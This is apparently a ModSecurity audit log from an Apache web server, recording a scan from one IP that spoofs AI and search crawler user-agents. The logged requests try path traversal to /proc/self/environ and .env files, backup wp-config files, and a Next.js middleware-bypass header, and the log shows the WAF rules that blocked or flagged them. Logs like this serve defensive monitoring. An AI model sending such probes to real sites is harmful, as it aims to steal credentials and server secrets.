Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/dist../.env"] [unique_id "aqZdNmM7dE9KgIIOpQhxowAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734154294 235605 (- - -)
Stopwatch2: 1789287734154294 235605; combined=4392, p1=243, p2=4097, p3=0, p4=0, p5=52, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--66553e28-Z--
--36e04e4c-A--
[13/Sep/2026:11:22:14.667174 +0300] aqZdNmM7dE9KgIIOpQhxqQAAANc 34.80.249.255 53514 127.0.0.1 7081
--36e04e4c-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--36e04e4c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--36e04e4c-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNmM7dE9KgIIOpQhxqQAAANc"]
Action: Intercepted (phase 2)
Stopwatch: 1789287734661417 5806 (- - -)
Stopwatch2: 1789287734661417 5806; combined=4476, p1=275, p2=3922, p3=0, p4=0, p5=279, sr=137, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--36e04e4c-Z--
--60e18916-A--
[13/Sep/2026:11:22:14.708589 +0300] aqZdNmM7dE9KgIIOpQhxpwAAAMk 34.80.249.255 53492 127.0.0.1 7081
--60e18916-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--60e18916-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--60e18916-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNmM7dE9KgIIOpQhxpwAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734586007 122665 (- - -)
Stopwatch2: 1789287734586007 122665; combined=5346, p1=220, p2=5055, p3=0, p4=0, p5=67, sr=82, sw=4, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--60e18916-Z--
--387f3628-A--
[13/Sep/2026:11:22:14.729459 +0300] aqZdNmM7dE9KgIIOpQhxqAAAAMI 34.80.249.255 53500 127.0.0.1 7081
--387f3628-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--387f3628-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--387f3628-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNmM7dE9KgIIOpQhxqAAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734636148 93383 (- - -)
Stopwatch2: 1789287734636148 93383; combined=6942, p1=290, p2=6584, p3=0, p4=0, p5=67, sr=108, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--387f3628-Z--
--0fd0ee6f-A--
[13/Sep/2026:11:22:14.749040 +0300] aqZdNjTJ6xTvcJoem7f50gAAAEc 34.80.249.255 53504 127.0.0.1 7081
--0fd0ee6f-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--0fd0ee6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0fd0ee6f-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles"] [unique_id "aqZdNjTJ6xTvcJoem7f50gAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734651290 97837 (- - -)
Stopwatch2: 1789287734651290 97837; combined=4794, p1=389, p2=4334, p3=0, p4=0, p5=71, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0fd0ee6f-Z--
--a1366f7d-A--
[13/Sep/2026:11:22:14.861452 +0300] aqZdNkwu1RSkptiiNIX2xwAAAJM 34.80.249.255 53544 127.0.0.1 7081
--a1366f7d-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--a1366f7d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a1366f7d-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/userfiles/x"] [unique_id "aqZdNkwu1RSkptiiNIX2xwAAAJM"]
Action: Intercepted (phase 2)
Stopwatch: 1789287734855945 5557 (- - -)
Stopwatch2: 1789287734855945 5557; combined=4241, p1=220, p2=3719, p3=0, p4=0, p5=302, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a1366f7d-Z--
--5decba69-A--
[13/Sep/2026:11:22:15.026279 +0300] aqZdNisVWymXUono-eRUVAAAAA8 34.80.249.255 53558 127.0.0.1 7081
--5decba69-B--
GET /wp-config.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--5decba69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5decba69-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZdNisVWymXUono-eRUVAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZdNisVWymXUono-eRUVAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZdNisVWymXUono-eRUVAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734908118 118217 (- - -)
Stopwatch2: 1789287734908118 118217; combined=33701, p1=222, p2=33405, p3=0, p4=0, p5=74, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5decba69-Z--
--3c62e44f-A--
[13/Sep/2026:11:22:15.118943 +0300] aqZdNisVWymXUono-eRUVQAAAA0 34.80.249.255 53574 127.0.0.1 7081
--3c62e44f-B--
GET /laravel/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--3c62e44f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3c62e44f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/laravel/.env"] [unique_id "aqZdNisVWymXUono-eRUVQAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734991953 127048 (- - -)
Stopwatch2: 1789287734991953 127048; combined=4322, p1=230, p2=4035, p3=0, p4=0, p5=57, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3c62e44f-Z--
--572e1869-A--
[13/Sep/2026:11:22:15.131487 +0300] aqZdNmM7dE9KgIIOpQhxqwAAANY 34.80.249.255 53572 127.0.0.1 7081
--572e1869-B--
GET /wp-config.php.old HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--572e1869-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--572e1869-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZdNmM7dE9KgIIOpQhxqwAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/wp-config.php.old||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZdNmM7dE9KgIIOpQhxqwAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZdNmM7dE9KgIIOpQhxqwAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734963293 168260 (- - -)
Stopwatch2: 1789287734963293 168260; combined=38045, p1=347, p2=37624, p3=0, p4=0, p5=73, sr=106, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--572e1869-Z--
--e9576078-A--
[13/Sep/2026:11:22:15.223110 +0300] aqZdN2M7dE9KgIIOpQhxrAAAANU 34.80.249.255 53596 127.0.0.1 7081
--e9576078-B--
GET /config/.env.php HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--e9576078-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e9576078-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZdN2M7dE9KgIIOpQhxrAAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqZdN2M7dE9KgIIOpQhxrAAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287735121969 101196 (- - -)
Stopwatch2: 1789287735121969 101196; combined=36512, p1=216, p2=36234, p3=0, p4=0, p5=61, sr=85, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e9576078-Z--
--a5f9010c-A--
